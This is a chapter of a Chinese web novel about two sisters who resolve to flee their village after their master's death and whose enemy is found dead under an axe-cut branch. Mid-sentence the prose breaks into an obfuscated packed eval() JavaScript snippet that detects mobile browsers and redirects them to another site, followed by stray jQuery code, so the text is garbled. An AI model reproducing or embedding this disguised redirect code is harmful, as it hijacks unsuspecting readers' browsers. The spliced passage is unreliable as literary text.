叶松回来时正是晌午。
烈日当头。
叶游知打眼就瞧出来了,叶松说是去找草药,实则不知在哪儿偷偷哭过了才回来的。
叶厉从河边捡到这个被放弃的婴儿,抚育她十六余年,现在突然死了,叶松怎么会不在意?
叶游知虽不说什么,但叶松的反应都看在眼里。从昨儿起就没怎么说过话,一直在做活,浆洗衣服时会突然顿住,在原地凝固很久,手上才又慢慢动起来。
跟被无常索了魂魄一般。
叶游知不愿她继续萎靡,于是决定自己把家里的活都干完,好让叶松停下来好好想想。想得多也好,想得岔也好,总得想明白死是怎么个事儿。
她盯着叶松,见她寻觅活计无果后一屁股坐在大堂的木凳上,阳光直剌剌地照进来,也不觉得晒。
叶游知自觉在门口拉起一道帘子遮光,背着手朝外走去。
“游知。”叶松有气无力地喊了句,“不必麻烦为我遮光。”
好不容易听叶松叫自己了,才不管她说什么,叶游知立刻屁颠屁颠跑到叶松膝盖前,把脑袋搭在叶松身上闻药草香。
叶松怜爱地摸了摸她的头,无奈问道:“游知,师父真是卫大杀的吗……”
“八九不离十了。”叶游知抱住叶松,怕叶松冲动,这会儿就到卫大家拿刀砍人,道:“阿姐,昨日县令明明判了卫大的罪。”
“纵是这样,你也不要灰心,不要冲动。若是被人拿捏住了把柄,你进了洛阳府牢狱,我怎么办?”
叶松明白。
县令位居五品,官职也不低了,只是和朝中大臣比起来实在不够看。人家一句话就能抵了你几年奔波呕心沥血的功绩。
叶松眼睛湿哒哒的,苦笑着摸叶游知的脸颊,“可是游知,我不甘心呐……”
“我今日回来看到他又把小七带走,却什么都做不了。我当时恨不得和你一样拿斧头劈过去,大不了一起去见阎王,可是镰刀就在我手里,我却举不起来。”
没用,真是没用。
叶游知安慰道:“阿姐,你做错了什么要和他同归于尽?凭什么他们不管却要你死?”
感知到叶松的手软的没劲儿,叶游知反握住她的手,力度大得叶松混沌无神的双眼回了点神识。
“阿姐,洛阳是东都,有人居心不轨,想把这世界搅一搅。从洛阳入手是因为除长安外东都最为繁华且没有长安那么多双眼睛盯着。新帝登基两年,朝中权势几人把握,可如果有人想在东都做点手脚还是轻而易举。”
“如今你我处于他的制掣之下做他的锅中鱼肉,不如换个地,天高皇帝远,谁受他们的气。”
叶松见叶游知这么久,一直以为她不善言辞,今日是她第一次说这么长的话。叶松有点意外,也有点陌生,叶游知说话的语气、方式足以让人忘记她稚嫩的脸庞。
她,怎么知道那么多?
她低头去看叶游知时,小姑娘的脸还是那么天真,又突然带上了委屈,“阿姐,我只是想活得好一点,像一个人一样的活着。”
穿越到这儿来之后的每一分每一秒叶游知都在祷告:她一定要活得像个人。
吃得饱穿得暖,兜里还有两铜钱晃,平日出门无人敢惹,潇潇洒洒过完一生。
蛰伏一年,原以为那场病和大火能把什么都带走的……
还是她想得太简单了。
叶松问:“走了,就能过好了吗?”
“至少不会比现在更差。”
这里有人无法无天,有人蓄意保护,归真教的势力远比叶游知想象的大。她现在太弱小了,干不过人有什么办法呢?只能跑。
在方丈得病的日子里,叶游知常偷偷到方丈房里翻找,最后是在床底下发现了床板黏着一块木箱,一个手掌大小。
拿到木箱后叶游知本想继续探索的,奈何手太短,在找工具的途中来人了,于是悄悄收起了小木箱。
打开一看:金鱼袋。
三品以上官员才能拥有的东西。
叶游知笃定,有人想献祭洛阳县,作为把这世间搅得天翻地覆前的血旗。
她被抓那日本想用金鱼袋试探一下县令,看看这位县令是否和那位朝中大官有关联,可是没能来得及。
幸运又不幸的是,卫大被放出足以证明一切。
叶松犹豫,始终迈不过去心里那个坎。
叶游知何尝不懂叶松的心,一针见血:“阿姐,活着的人才最要紧。”
她何尝不心疼叶厉?只是不会审时度势就只能白白送命。
话里无情,不堪入耳,一字一字像一根根针扎着人的神经,叶松被叶游知的话扎得一哆嗦。可细想起来,话外有情有意,她看得出叶游知盛满了她的目光,挣不脱叶游知紧拉她的手。
为什么不能走?
她凭什么要求叶游知陪她在这儿为一个死人蹉跎半生?
想活得像个人有什么错?
叶松用另一只空着的手捏了捏她的脸,道:“好,我们走。不过得等等,等我想办法把小七和我们一起带走。”
“阿姐。”叶游知心里突然有点苦涩,“原来你不恨小七吗?”
“我从来就没恨过她。人是她父亲杀的,和她有什么关系?”
叶游知觉得自己或许是太小,仰头看叶松时总能看到她额发间的光辉,把她身上的药香气烘烤得和仙境里的果桃一样香甜。
“不过以后你可不能再拿斧头追着人砍了。”
叶游知保证:“不会了。”
卫坡村的天气怪,雨说下就下。
好好的太阳没了,叶游知忙着帮叶松收草药,心想这天公太不讲理了,上午还是干涸炙热的一片,只要乌云一扫过,雨就要来,和洛阳县的县令一样。
雨融了黄土,沾在两人的裤脚上,轰隆隆的雷声好像要把这屋子活活劈成两半,叶游知不由看了看墙上积灰的斧头。
她默了一瞬,问道:“阿姐,这样大的雨天应该没人会出门吧。”
“是啊,万一被雷劈到就不好了。”
叶游知不再问了,多吃了两口饭。
这一夜雨越下越猛,火花带闪电,把天空渲染成紫色的刑场。
雨停后山路湿滑,不过有些村民为了生计还是得上山打猎捡果子。
雨靴可能会陷进被雨捣软的泥浆里,也会隔绝脚和物体的感知,于是低头看山路比抬头找猎物更为重要。
村民卫均就在山上摘果子时踩到了一根粗硕又回软的树枝。
踩过树枝再往前走竟发现黄色的土地山会沾着红色的血。
他小心翼翼拨开树枝一看——
被吓得倒坐在地上,连连往后爬。
比他身体还大的树枝下竟然压着一个人!
是卫大!
谁都不会想到卫大出门摘果子竟然被雷劈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221879|181551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来的树枝砸死了!整个人被压得匍匐在地上,背上血淋淋的一道大口子。已经有虫在□□里爬动游走了,密密麻麻的虫蚁动起来看得人发眩,直想呕吐。
卫均下山就在卫坡村传了这个消息。
不过卫大死了也没人伸冤没人惋惜,埋了作罢。
“下那么大的雨他咋还出门?”
“他向来爱做什么做什么,昨儿不还提着斧头找他女儿去吗?”
大家都默契地不再提此事,照常生活。
叶松早上去了趟药铺拿药,回来听说了这事,心头又惊又喜。
好!卫大那个杀千刀的终于死了!
叶松没想到她一个治病救人的有一天会那么盼着别人死,卫大背上裸露的白色碎骨让叶松牙咬得死紧,那口气唰地一下从鼻孔里放出来。
回到家想把这消息告诉叶游知,见叶游知淡淡地洗衣服。
昨夜下过雨,不知叶游知洗这衣服倒过几盆水了。
对上叶游知疑惑的目光,叶松问:“怎么在洗衣服?”
叶游知道:“昨儿没注意,衣服裤子都沾上黄泥了,洗洗。怎么了?”
“卫大死了。”
“好。”叶游知面无表情,“等我洗完衣服去把小七接来吧,我已经想好要去哪儿了。”
叶松不走,欲言又止。
“怎么了?”
叶松摇摇头,心里的疙瘩解开,放下药包后擦了擦叶厉的牌位,心想,昨夜那么大的雨,谁会出门呢?
想罢心头舒服些,眉头舒展开,低声道:“师父,卫大死了。我也要走了,我会护好知知,就像你以前护着我一样。”
她对叶游知好,除了有同情,还因他师父说过叶游知长得特别像他的一位故人。
她的师父有家人,不是像她这种捡来的家人,是他师父不愿再见却又一直愧对的家人。
卫坡村,曾经也是她师父的家啊。
“不管她怎么样,我都会护好她。”
叶松和叶游知接来了小七,三人做了几天活凑够盘缠后就想往岭南去。
卫大的死大家也默契地没有再提,直到县令要走的那天才有衙役来找卫大。
一个衙役没看尸体看了看树,随口说道:“这树枝的端口倒像是被斧头劈下来似的,整整齐齐。”
“没准就是卫大自己爬上去砍树摘果子时被雷劈了。”
几个衙役哈哈笑了一阵,又完成任务似的挨家盘问。
村民口径十分统一,都说卫大就是被雷劈下来的树枝砸死的。
轮到叶家,衙役问叶松家里可有人出去过,叶松道:“家里我一个女子,一个小妹,下那么大的雨是万万不敢出去的。”
“这个是?”衙役指着小七。
“卫大的女儿。”叶松道,“我们收留了。”
衙役叹了口气,说叶家人都是心善的,本性纯良,和卫大那种拿斧头抄家伙的可不一样。
几人没问两句就走了,把时期禀告县令时得到县令的回复:“死了就死了罢。”
总之村民口径统一,又无人伸冤,死了就死了吧。
县令握着拿个银鱼袋,浮现出诡异的笑容,腥红的眯缝眼里透着隐隐的快感。
这世间存在诸多不公又如何?总有一样东西对所有人都是平等的。
他“蹭”地起身,甩袖阔步走出,顿时红光满面,“哈哈!走,回洛阳府!”